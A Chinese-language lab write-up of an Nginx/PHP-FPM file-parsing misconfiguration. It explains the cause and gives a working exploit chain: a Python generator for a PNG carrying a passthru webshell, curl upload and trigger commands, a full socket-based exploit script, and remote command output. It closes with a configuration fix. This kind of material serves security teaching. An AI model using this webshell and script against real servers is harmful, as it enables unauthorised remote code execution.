Nginx 解析漏洞利用总结

漏洞信息

项目 内容
漏洞类型 Nginx配置不当导致文件解析漏洞
靶场版本 Nginx 1.11.13 + PHP 7.1.3
影响范围 任何使用不安全配置的Nginx+PHP环境
靶机地址 http://192.168.229.60
暴露端口 80

漏洞原理

该漏洞与 Nginx、PHP 版本无关,属于用户配置不当造成的解析漏洞。

Nginx 配置中通过 location ~ \.php$ 将 PHP 文件交给 PHP-FPM 处理:

复制代码
location ~ \.php$ {
    fastcgi_index  index.php;
    include        fastcgi_params;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
    fastcgi_pass   php:9000;
}

当请求 shell.png/.php 时:

复制代码
GET /uploadfiles/shell.png/.php HTTP/1.1
                    ↑  Nginx 匹配到 \.php$ → 传给 PHP-FPM
                      PHP-FPM 收到 SCRIPT_FILENAME = /var/www/html/uploadfiles/shell.png
                      发现 .php 后缀 → 尝试执行 shell.png 中的 PHP 代码
  • Nginx 的 \.php$ 匹配到 .php 结尾 → 传给 PHP-FPM

  • PHP-FPM 中的 cgi.fix_pathinfo=1 导致 PHP 去除 /.php 后缀,实际执行的是 shell.png

  • PNG 文件中的 PHP 代码被成功执行

攻击步骤

Step 1:制作合法的PNG图片并嵌入PHP代码

创建一个 1x1 像素的合法 PNG 文件,并在末尾追加 PHP webshell:

复制代码
import struct, zlib
​
# PNG header
sig = b'\x89PNG\r\n\x1a\n'
# IHDR chunk (1x1 RGB)
ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)
ihdr = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff)
# IDAT chunk
raw_data = zlib.compress(b'\x00\xff\x00\x00')
idat = struct.pack('>I', len(raw_data)) + b'IDAT' + raw_data + struct.pack('>I', zlib.crc32(b'IDAT' + raw_data) & 0xffffffff)
# IEND chunk
iend = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', zlib.crc32(b'IEND') & 0xffffffff)
​
# 合成PNG
png_data = sig + ihdr + idat + iend
​
# 在PNG后面追加PHP代码(用passthru替代system,避免参数类型报错)
php_code = b'<?php passthru($_GET["cmd"]); ?>'
webshell = png_data + php_code
​
with open('s.png', 'wb') as f:
    f.write(webshell)

注意: 使用 passthru()system() 更稳定。system("$_GET['cmd']") 在某些场景下会报 "expects parameter 1 to be string, array given" 错误。

Step 2:上传webshell

上传这个嵌入PHP代码的合法PNG图片:

复制代码
curl -s -F "file_upload=@s.png" http://192.168.229.60/index.php

上传验证逻辑:

复制代码
// getimagesize() 检测是否合法图片
if(!getimagesize($_FILES['file_upload']['tmp_name'])){
    die('Please ensure you are uploading an image.');
}
// 白名单检测扩展名
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
    die('Unsupported filetype uploaded.');
}
  • getimagesize() 检测通过 ✅(文件是合法PNG)

  • pathinfo() 扩展名检测 → .png → 白名单通过 ✅

文件名重命名规则:

复制代码
$new_name = __DIR__ . '/uploadfiles/' . md5($_FILES['file_upload']['name']) . ".{$ext}";

上传后文件名变为 md5("s.png") + ".png"

Step 3:利用解析漏洞执行代码

复制代码
# 用md5sum算文件名
FN=$(echo -n "s.png" | md5sum | cut -d' ' -f1)
​
# 触发解析漏洞
curl "http://192.168.229.60/uploadfiles/${FN}.png/.php?cmd=id" --output - 2>/dev/null

Step 4:验证RCE

复制代码
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
​
$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"

Python版完整利用脚本

复制代码
import struct, zlib, hashlib, socket
​
# 1. 生成合法PNG + PHP webshell
sig = b'\x89PNG\r\n\x1a\n'
ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)
ihdr = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff)
raw_data = zlib.compress(b'\x00\xff\x00\x00')
idat = struct.pack('>I', len(raw_data)) + b'IDAT' + raw_data + struct.pack('>I', zlib.crc32(b'IDAT' + raw_data) & 0xffffffff)
iend = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', zlib.crc32(b'IEND') & 0xffffffff)
png_data = sig + ihdr + idat + iend + b'<?php passthru($_GET["cmd"]); ?>'
​
# 2. 上传
s = socket.socket()
s.connect(('192.168.229.60', 80))
boundary = b'----B'
body = (b'--' + boundary + b'\r\n' +
        b'Content-Disposition: form-data; name="file_upload"; filename="s.png"\r\n' +
        b'Content-Type: image/png\r\n\r\n' +
        png_data + b'\r\n' +
        b'--' + boundary + b'--\r\n')
req = (b'POST /index.php HTTP/1.1\r\nHost: 192.168.229.60\r\n' +
       b'Content-Type: multipart/form-data; boundary=' + boundary + b'\r\n' +
       b'Content-Length: ' + str(len(body)).encode() + b'\r\nConnection: close\r\n\r\n' + body)
s.send(req)
s.close()
​
# 3. 触发解析漏洞
md5name = hashlib.md5(b's.png').hexdigest()
s2 = socket.socket()
s2.connect(('192.168.229.60', 80))
req2 = (f'GET /uploadfiles/{md5name}.png/.php?cmd=id HTTP/1.1\r\n'
        f'Host: 192.168.229.60\r\nConnection: close\r\n\r\n').encode()
s2.send(req2)
resp = b''
while True:
    try:
        d = s2.recv(4096)
        if not d: break
        resp += d
    except: break
s2.close()
print(resp.decode('utf-8', errors='replace'))

Nginx 原始配置文件

复制代码
server {
    listen 80 default_server;
    listen [::]:80 default_server;
    root /usr/share/nginx/html;
    index index.html index.php;
    server_name _;
​
    location / {
        try_files $uri $uri/ =404;
    }
​
    location ~ \.php$ {
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param  REDIRECT_STATUS    200;
        fastcgi_param  SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
        fastcgi_param  DOCUMENT_ROOT /var/www/html;
        fastcgi_pass php:9000;
    }
}

PHP 上传代码

复制代码
<?php
if (!empty($_FILES)):
    // getimagesize() 检测是否合法图片
    if(!getimagesize($_FILES['file_upload']['tmp_name'])){
        die('Please ensure you are uploading an image.');
    }
    // 白名单检测扩展名
    $ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
    if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
        die('Unsupported filetype uploaded.');
    }
    // 重命名:MD5(name).扩展名
    $new_name = __DIR__ . '/uploadfiles/' . md5($_FILES['file_upload']['name']) . ".{$ext}";
    move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name);
    die('File uploaded successfully: ' . $new_name);
endif;
?>
<form method="post" enctype="multipart/form-data">
    File: <input type="file" name="file_upload">
    <input type="submit">
</form>

关键要点总结

  1. /.php后缀触发解析 :Nginx匹配\.php$后将非法PHP文件交给PHP-FPM执行

  2. PHP的cgi.fix_pathinfo=1 :PHP自动删除路径中的/.php,尝试执行前面的文件

  3. 合法PNG+PHP代码 :PNG是合法的(getimagesize()通过),但末尾的PHP代码被PHP解释器执行

  4. 与CVE-2013-4547的区别:这里不需要空格、空字节、原始socket,URL路径直接用

  5. 上传后文件名重命名md5(filename).ext,需计算MD5才能找到文件路径

  6. passthru替代system :此处使用passthru()system()更稳定,避免参数类型报错

  7. ⚠️ 该漏洞不是Nginx或PHP的代码漏洞 ,纯属配置不当。升级软件无法修复,需修改配置(如security.limit_extensions

验证结果

复制代码
$ curl "http://192.168.229.60/uploadfiles/f7e9f256e015b7895623b123d13d2917.png/.php?cmd=id" --output - 2>/dev/null
PNG...
​
IHDwS
 ݉DATxc󾁁ʾND®B`uid=33(www-data) gid=33(www-data) groups=33(www-data)
​
$ curl "http://192.168.229.60/uploadfiles/f7e9f256e015b7895623b123d13d2917.png/.php?cmd=whoami" --output - 2>/dev/null
PNG...B`www-data
​
$ curl "http://192.168.229.60/uploadfiles/f7e9f256e015b7895623b123d13d2917.png/.php?cmd=hostname" --output - 2>/dev/null
PNG...B`79a73f4f4d3a
相关推荐
woniu_buhui_fei6 小时前
HTTP协议及其工作原理
网络安全
Coisinier10 小时前
RHCE中shell脚本基础(磁盘剩余空间监控,Web 服务状态检查,curl 访问 Web 服务并返回状态)
linux·运维·服务器·前端·nginx·操作系统
中云DDoS CC防护蔡蔡11 小时前
游戏杀手- ACCN
运维·服务器·经验分享·网络安全·ddos
GlobalSign数字证书13 小时前
Nginx配置SSL证书教程:从零到HTTPS的完整部署指南
nginx·https·ssl
见青..1 天前
文件上传漏洞之原理、探测、利用、绕过、防御
web安全·网络安全·漏洞·文件上传
難釋懷1 天前
Nginx对客户端的限制
运维·nginx
hzhsec1 天前
启明星辰(安全服务实习生)面试题
网络安全·面试
楠目2 天前
CVE-2017-7529 Nginx Range头整数溢出漏洞利用总结
运维·nginx
持敬chijing2 天前
Web渗透之前后端漏洞-CORS跨越访问漏洞
安全·web安全·网络安全·网络攻击模型·安全威胁分析